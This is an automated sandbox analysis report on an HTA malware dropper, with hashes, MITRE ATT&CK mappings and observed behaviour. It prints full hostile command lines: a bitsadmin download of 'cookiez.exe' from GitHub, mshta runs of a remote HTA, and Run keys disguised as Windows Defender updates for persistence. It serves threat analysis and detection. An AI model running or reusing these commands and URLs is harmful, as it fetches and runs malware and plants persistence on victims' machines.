Analysis
- max time kernel
150s - max time network
130s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
30/09/2026, 00:21
Static task
static1
Behavioral task
behavioral1
Sample
file.hta
Resource
win10v2004-20260911-en
Behavioral task
behavioral2
Sample
file.hta
Resource
win11ltsc2024-20260911-en
General
- Target file.hta
- Size 8KB
- Sample260930-andvmaxt2p
- SHA256 7fe124a0993d718f9a0056961a9efc3d87970de7af003ea435e3ffd1877219cd
- MD5 b814cd127063bd423376b50428df3644
- SHA1 c188e87c421624c272cc7bd8438d5b405488efe5
- SHA512 05ee16bab7a3b403c46f80b49a0bfed78d64c32d30bbfe7d5ae64eef7cabbcc09f0f3b3622edc88c766c01613294d0f1d9fc85ed4ad07e72ca5dbc3348fed96f
- SSDEEP 192:/TEORIJ3AdyjiWlDzjlvC9eZl6joyt1T4tSHCw:/TXRIJ3cyjnDzjlvCCl6joM1T7
- TLSH T12F02B5F7BD2AAA38864654ED3979D82CAC70455B485A41397D8C90981F0DBBBC3B03CF
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
hta
-
hta.dropper
https://raw.githubusercontent.com/huh71943-s/suck-r-mom/main/file.hta
Signatures
- Badlisted process makes network request 5 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 6 628 mshta.exe 8 5660 mshta.exe 9 5660 mshta.exe 10 5660 mshta.exe 12 5660 mshta.exe - Download via BitsAdmin 1 TTPs 1 IoCs
pid Process 2644 bitsadmin.exe - Creates a file in the Startup directory 1 TTPs 1 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wdu.vbs mshta.exe - Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2304238888-3968896904-642854331-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsDefenderUpdate = "mshta https://raw.githubusercontent.com/huh71943-s/suck-r-mom/main/file.hta" mshta.exe Set value (str) \REGISTRY\USER\S-1-5-21-2304238888-3968896904-642854331-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\WinUpdate = "mshta https://raw.githubusercontent.com/huh71943-s/suck-r-mom/main/file.hta" mshta.exe - Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
flow ioc 1 raw.githubusercontent.com 8 raw.githubusercontent.com 17 raw.githubusercontent.com - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname mshta.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain mshta.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname mshta.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain mshta.exe - System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language bitsadmin.exe - Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 6 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 628 wrote to memory of 2644 628 mshta.exe 91 PID 628 wrote to memory of 1200 628 mshta.exe 95
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\file.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- Badlisted process makes network request
- Creates a file in the Startup directory
- Adds Run key to start application
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:628 -
C:\Windows\SysWOW64\bitsadmin.exe"C:\Windows\System32\bitsadmin.exe" /transfer wd /download /priority high "https://github.com/huh71943-s/dicecheck.app/raw/refs/heads/main/cookiez.exe" "C:\Users\Admin\AppData\Local\Temp\cookiez.exe"2⤵
- Download via BitsAdmin
- System Location Discovery: System Language Discovery
PID:2644
-
-
C:\Users\Admin\AppData\Local\Temp\cookiez.exe"C:\Users\Admin\AppData\Local\Temp\cookiez.exe"2⤵PID:1200
-
-
C:\Windows\system32\mshta.exemshta https://raw.githubusercontent.com/huh71943-s/suck-r-mom/main/file.hta1⤵
- Badlisted process makes network request
- Reads the TCP/IP host and domain name from the registry
PID:5660
Network
MITRE ATT&CK Enterprise v16
Persistence
BITS Jobs
1Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2